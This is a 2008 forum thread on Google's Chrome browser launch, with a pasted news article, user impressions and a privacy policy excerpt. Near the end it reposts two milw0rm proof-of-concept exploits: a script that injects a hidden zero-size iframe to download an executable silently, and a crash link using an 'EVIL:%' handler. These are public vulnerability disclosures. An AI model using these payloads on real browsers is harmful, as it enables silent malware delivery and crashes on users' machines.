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Google launches Chrome web browser

Post: # 119564Post Panama Red
Tue Sep 02, 2008 8:18 pm

Google Inc. is releasing its own web browser in a long-anticipated move aimed at countering the dominance of Microsoft Corp.'s Internet Explorer and ensuring easy access to its market-leading search engine.

The Mountain View-based company took the unusual step of announcing its latest product on the Labour Day holiday after it prematurely sent out a comic book drawn up to herald the new browser's arrival.

The free browser, called Chrome, is supposed to be available for downloading Tuesday in more than 100 countries for computers running on Microsoft's Windows operating system. Google said it's still working on versions compatible with Apple Inc.'s Mac computer and the Linux operating system.

Google's browser is expected to hit the market a week after Microsoft's unveiling of a test version of its latest browser update, Internet Explorer 8. The tweaks include more tools for web surfers to cloak their online preferences, creating a shield that could make it more difficult for Google and other marketing networks to figure out which ads are most likely to appeal to which individuals.

Although Google is using a cartoonish approach to promote Chrome, the new browser underscores the gravity of Google's rivalry with Microsoft, whose Internet Explorer is used by about 75 per cent of web surfers.

Google's lead in the lucrative Internet search market is nearly as commanding, with its engine processing nearly two-thirds of the web's queries.

Browser latest of Google's Microsoft software alternatives
For the past few years, Google has been trying to take advantage of its search engine's popularity to loosen Microsoft's grip on how most people interact with personal computers.

The assault so far has been focused on a bundle of computer programs, including word processing and spreadsheet applications, that Google offers as an alternative to one of Microsoft's biggest money makers, its Office suite of products.

Google has tried to make its alternatives more appealing and accessible by hosting them for free over Internet connections instead of requiring users to pay a licensing fee to install them on individual computers, as Microsoft typically does.

Meanwhile, Microsoft has tried to thwart Google by investing billions in the development of its own search engine and making an unsuccessful attempt to buy Yahoo Inc. for $47.5 billion US.

The tensions between Microsoft and Google now seem likely to escalate with Google's foray into web browsing.

Until now, Google had been trying to undermine Internet Explorer by supporting Firefox, a web browser developed by the open-source Mozilla Foundation. Bolstered by an advertising partnership with Google's search engine, Firefox ranks as the second most popular browser, with a market share of more than 10 per cent. Google recently extended its advertising alliance with Firefox.

Bearing the stamp of Google's renowned brand, Chrome could be an even more formidable rival to Explorer.

Still, Google's name is no guarantee of success. For instance, Google's instant messaging service hasn't come close to catching up to the market-leading products made by Yahoo, Microsoft and Time Warner Inc.'s AOL.

Microsoft brushed aside the threat posed by Google in a statement Monday from Dean Hachamovitch, Internet Explorer's general manager.

"The browser landscape is highly competitive, but people will choose Internet Explorer 8 for the way it puts the services they want right at their fingertips ... and, more than any other browsing technology, puts them in control of their personal data online," Hachamovitch said.
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Tue Sep 02, 2008 8:45 pm

Saw that...and beat ya to it :P

http://thetazzone.com/blog/google-plans ... b-browser/

well...on the blog at least :D

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Tue Sep 02, 2008 9:04 pm

Posting this from chrome right now. I likes what I see :D
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Wed Sep 03, 2008 8:36 am

Any independent assessments of the browser.

You know how Google likes to slurp up our data without asking.
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Wed Sep 03, 2008 10:14 am

Aspman wrote:Any independent assessments of the browser.

You know how Google likes to slurp up our data without asking.
It's a bit soon for that I think ... But ya never know ... Well ... i don't know if you remember, or even knew, it's not only a practice Google is doing, does the name Alexa ring any bells :)

Btw ... to make it easy on you they even provide movies explaining privacy: http://www.google.com/privacy.html
Information Google receives when you use Google Chrome

You do not need to provide any personally identifying information in order to download and use Google Chrome. When you download Google Chrome or use it to contact Google’s servers, Google receives only standard log information including your machine’s IP address and one or more cookies. You can configure Google Chrome to not send cookies to Google or other sites as explained here.

In addition, some Google Chrome features send limited additional information to Google:

* When you type URLs or queries in the address bar, the letters you type are sent to Google so the Suggest feature can automatically recommend terms or URLs you may be looking for. If you choose to share usage statistics with Google and you accept a suggested query or URL, Google Chrome will send that information to Google as well. You can disable this feature as explained here.
* If you navigate to a URL that does not exist, Google Chrome may send the URL to Google so we can help you find the URL you were looking for. You can disable this feature as explained here.
* Google Chrome's SafeBrowsing feature periodically contacts Google's servers to download the most recent list of known phishing and malware sites. In addition, when you visit a site that we think could be a phishing or malware site, your browser will send Google a hashed, partial copy of the site's URL so that we can send more information about the risky URL. Google cannot determine the real URL you are visiting from this information. More information about how this works is here.
* Your copy of Google Chrome includes one or more unique application numbers. These numbers and information about your installation of the browser (e.g., version number, language) will be sent to Google when you first install and use it and when Google Chrome automatically checks for updates. If you choose to send usage statistics and crash reports to Google, the browser will send us this information along with a unique application number as well. Crash reports can contain information from files, applications and services that were running at the time of a malfunction. We use crash reports to diagnose and try to fix any problems with the browser.
* You may choose Google as your search engine using Google Chrome, and you may also use Google Chrome to access other Google services such as Gmail. The Privacy Policies of Gmail or other services apply when you access them, no matter which browser you use. Using Google Chrome to connect to Google services will not cause Google to receive any special or additional personally identifying information about you.
Link to more: http://www.google.com/chrome/intl/en/privacy.html
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Wed Sep 03, 2008 10:41 am

I suggest waiting a while....

http://blogs.zdnet.com/security/?p=1843
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Wed Sep 03, 2008 10:56 am

SirDice wrote:I suggest waiting a while....

http://blogs.zdnet.com/security/?p=1843
Ah yes ... Safari ... It's a good browser, but I prefer Firefox ...

I'm an early adopter though, I'm tesing Chrome right now, I don't care about the vulnerabilities, they will always be there

[edit] ... Ok, this is fun, the browser already crashed on me, going to properties or options it crashes the browser ... FAIL
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Wed Sep 03, 2008 11:00 am

Don't forget.. Chrome uses the same engine as Safari.. And it's an older one too..
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Wed Sep 03, 2008 1:56 pm

No crashes yet, Javascript runs faster. The browser seems more responsive than FF. I've been using it exclusively since last night and haven't had to switch to FF once...
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Wed Sep 03, 2008 2:03 pm

cgkanchi wrote:No crashes yet, Javascript runs faster. The browser seems more responsive than FF. I've been using it exclusively since last night and haven't had to switch to FF once...
Are you running a X64 OS ?
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Wed Sep 03, 2008 2:45 pm

Nope XP Pro 32 bit
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cgkanchi wrote:Nope XP Pro 32 bit
Maybe that's the problem for me ...
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Wed Sep 03, 2008 3:10 pm

That's actually pretty likely since Chrome uses its own memory management model with each tab running in its own process...
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Wed Sep 03, 2008 7:14 pm

cgkanchi wrote:That's actually pretty likely since Chrome uses its own memory management model with each tab running in its own process...
Yeah, that was one of the features I most liked ... Then thinking about it, it probably doesn't sit right with the XP 64bit version I'm running. ... Of to the drawing boards Google :evil:
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Author: nerex
E-mail: nerex[at]live[dot]com

Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.

This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.

Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
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<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

# milw0rm.com [2008-09-03]
AND
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Software:
Google Chrome Browser 0.2.149.27

Tested:
Windows XP Professional SP3

Result:
Google Chrome Crashes with All Tabs

Problem:
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version
0.2.149.27. A crash can result without user interaction. When a user is made to visit
a malicious link, which has an undefined handler followed by a 'special' character,
the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed.
Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the
EIP register at 0x01002FF4.

Proof of Concept:
http://evilfingers.com/advisory/google_chrome_poc.php

Credit:
Rishi Narang (psy.echo)
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http://www.evilfingers.com
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PoC Working/Exploit:
Click for a demo <a href="EVIL:%">HERE</a>

# milw0rm.com [2008-09-03]
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